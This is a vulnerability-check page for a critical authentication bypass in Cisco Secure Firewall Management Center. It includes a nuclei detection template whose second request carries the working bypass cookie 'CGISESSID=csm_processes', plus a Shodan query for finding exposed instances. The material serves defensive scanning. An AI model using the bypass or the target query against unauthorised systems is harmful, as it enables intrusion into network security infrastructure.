Cisco Secure Firewall Management Center - Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-09-09; known to be used by ransomware.

criticalseverity

10CVSS score

88.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cisco Secure Firewall Management Center Software contains an authentication bypass caused by improper system process creation at boot, letting unauthenticated remote attackers execute scripts and gain root access, exploit requires crafted HTTP requests.

Impact

Unauthenticated remote attackers can gain root access by executing scripts, leading to full system compromise.

Fix

Update to the latest available version.

How to confirm it

Send: GET /help/about.cgi
Positive when: status_code == 302 and contains(body, "Invalid session ID")
Send: GET /help/about.cgi
Positive when: status_code == 200 and contains_all(body, "Cisco Secure Firewall Management Center", "Model", "OS", "Hostname")

Run it with nuclei: nuclei -id CVE-2026-20079 -u <target>

The full check

id: CVE-2026-20079

info:
  name: Cisco Secure Firewall Management Center - Authentication Bypass
  author: theamanrawat
  severity: critical
  description: |
    Cisco Secure Firewall Management Center Software contains an authentication bypass caused by improper system process creation at boot, letting unauthenticated remote attackers execute scripts and gain root access, exploit requires crafted HTTP requests.
  impact: |
    Unauthenticated remote attackers can gain root access by executing scripts, leading to full system compromise.
  remediation: |
    Update to the latest available version.
  reference:
    - https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079
    - https://nvd.nist.gov/vuln/detail/CVE-2026-20079
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-20079
    epss-score: 0.88658
    epss-percentile: 0.99775
    cwe-id: CWE-288
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"BackdraftSyncIntegration"
  tags: cve,cve2026,cisco,fmc,auth-bypass,rce,unauth,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /help/about.cgi HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(body, "Invalid session ID")'
        condition: and
        internal: true

  - raw:
      - |
        GET /help/about.cgi HTTP/1.1
        Host: {{Hostname}}
        Cookie: CGISESSID=csm_processes

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Cisco Secure Firewall Management Center", "Model", "OS", "Hostname")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from